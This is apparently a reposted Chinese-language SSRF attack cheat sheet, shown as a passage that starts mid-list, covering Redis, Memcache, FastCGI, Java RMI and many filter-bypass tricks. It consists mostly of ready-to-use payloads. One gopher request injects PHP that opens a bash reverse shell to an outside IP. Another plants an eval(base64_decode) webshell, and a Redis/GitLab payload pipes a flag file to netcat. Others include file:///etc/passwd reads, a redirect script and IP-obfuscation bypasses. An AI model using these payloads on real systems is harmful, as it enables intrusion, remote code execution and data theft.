git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache
  1. 默认绑定端口：11211
  2. https://www.exploit-db.com/exploits/37815
  3. https://www.exploit-db.com/exploits/42392
  4. https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell
  5. gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
  6. gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
Apache Tomcat
  1. 默认绑定端口：80,443 (SSL),8080,8443 (SSL)
  2. https://github.com/pimps/gopher-tomcat-deployer
FastCGI
  1. 默认绑定端口：80,443 (SSL)
  2. gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Java RMI
  1. 默认绑定端口：1090,1098,1099,1199,4443-4446,8999-9010,9999
  2. $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
  3. [+] Creating ysoserial payload... done.
  4. [+]
  5. [+] Attempting deserialization attack on RMI Registry endpoint...
  6. [+]
  7. [+]   SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
SSRF到XSS
  1. http://brutelogic.com.br/poc.svg -> simple alert
  2. https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
  3.  
  4. https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
XSS到SSRF
使用 iframe
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

cat attachment.bin

Bypass
本地绕过
http://127.0.0.1=http://localhost
使用 HTTPS 绕过
  1. https://127.0.0.1/
  2. https://localhost/
[::]绕过
  1. http://[::]:80=http://127.0.0.1
  2. http://[::]:80/
  3. http://[::]:25/ SMTP
  4. http://[::]:22/ SSH
  5. http://[::]:3128/ Squid
  6. http://0000::1:80/
  7. http://0000::1:25/ SMTP
  8. http://0000::1:22/ SSH
  9. http://0000::1:3128/ Squid
@绕过
http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080
利用短网址
  1. http://tool.chinaz.com/tools/dwz.aspx
  2. http://dwz.cn/
DNS解析
  1. http://spoofed.burpcollaborator.net
  2. http://localtest.me
  3. http://customer1.app.localhost.my.company.127.0.0.1.nip.io
  4. http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
  5. http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
  6. http://www.qq.com.127.0.0.1.xip.io，可解析为127.0.0.1
  7. 自己域名设置A记录，指向127.0.0.1
进制转换
  1. 127.0.0.1
  2. 八进制
  3. http://0177.0.0.1/ = http://127.0.0.1
  4. http://o177.0.0.1/ = http://127.0.0.1
  5. http://0o177.0.0.1/ = http://127.0.0.1
  6. http://q177.0.0.1/ = http://127.0.0.1
  7. 十六进制：0x7f.0.0.1
  8. 十进制
  9. http://2130706433/ = http://127.0.0.1
  10. http://3232235521/ = http://192.168.0.1
  11. http://3232235777/ = http://192.168.1.1
  12. http://2852039166/  = http://169.254.169.254
  13. http://www.bejson.com/convert/ip2int/
句号
127。0。0。1
302脚本
  1. <?php
  2. $ip = $_GET['ip'];
  3. $port = $_GET['port'];
  4. $scheme = $_GET['s'];
  5. $data = $_GET['data'];
  6. header("Location: $scheme://$ip:$port/$data");
  7. ?>
  8. 攻击方VPS监听8080
dict协议
  1. dict://www.attack.com:8080/hello:dict等于
  2. ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict
Gopher协议
  1. gopher:// www.attack.com:8080/gopher
  2. ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher
File协议
  1. 攻击机新建file.php
  2. <?php
  3. header("Location: file:///etc/passwd");
  4. ?>
  5. ssrf.php?url=http://attack.com/file.php
使用 CIDR 绕过
  1. http://127.127.127.127
  2. http://127.0.1.3
  3. http://127.0.0.0
使用 IPv6/IPv4 地址嵌入绕过
http://[0:0:0:0:0:ffff:127.0.0.1]
使用格式错误的 url 绕过
  1. localhost:+11211aaa
  2. localhost:00011211aaaa
使用稀有地址绕过
  1. http://0/
  2. http://127.1
  3. http://127.0.1
使用 URL 编码绕过
  1. http://127.0.0.1/%61dmin
  2. http://127.0.0.1/%2561dmin
使用 bash 变量绕过
  1. 仅限CURL
  2. curl -v "http://evil$google.com"
  3. $google = ""
使用技巧组合绕过
  1. http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
  2. urllib2 : 1.1.1.1
  3. requests + browsers : 2.2.2.2
  4. urllib : 3.3.3.3
使用封闭的字母数字绕过
  1. http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
  2. List:
  3. ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
使用 unicode 绕过
在某些语言（.NET、Python 3）中，正则表达式默认支持 unicode。 \d包括0123456789
绕过php 函数filter_var()
0://evil.com:80;http://google.com:80/
绕过弱解析器
  1. http://127.1.1.1:80\@127.2.2.2:80/
  2. http://127.1.1.1:80\@@127.2.2.2:80/
  3. http://127.1.1.1:80:\@@127.2.2.2:80/
  4. http://127.1.1.1:80#\@127.2.2.2:80/
使用重定向绕过
  1. 1. 在白名单主机上创建一个页面，将请求重定向的SSRF到目标 URL（例如 192.168.0.1）
  2. 2.启动 SSRF vulnerable.com/index.php?url=http://YOUR_SERVER_IP vulnerable.com将获取 YOUR_SERVER_IP 将重定向到 192.168.0.1
  3. 3.您可以使用响应码[307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307)和[308](https://developer.mozilla.org/ en-US/docs/Web/HTTP/Status/308) 以便在重定向后保留 HTTP 方法。
使用 type=url 绕过
  1. 把"type=file" 改为"type=url"
  2. 在文本字段中粘贴 URL，然后按回车
  3. 使用此漏洞，用户可以从任何图像URL上传图像 = 触发 SSRF
使用 DNS 重新绑定 (TOCTOU) 绕过
  1. 创建一个在两个 IP 之间更改的域。 http://1u.ms/ 
  2. 例如，要在 1.2.3.4 和 169.254-169.254 之间轮换，请使用以下域：
  3. make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
使用 jar 协议绕过（仅限 java）
  1. jar:scheme://domain/path!/ 
  2. jar:http://127.0.0.1!/
  3. jar:https://127.0.0.1!/
  4. jar:ftp://127.0.0.1!/
声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/正经夜光杯/article/detail/928999
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号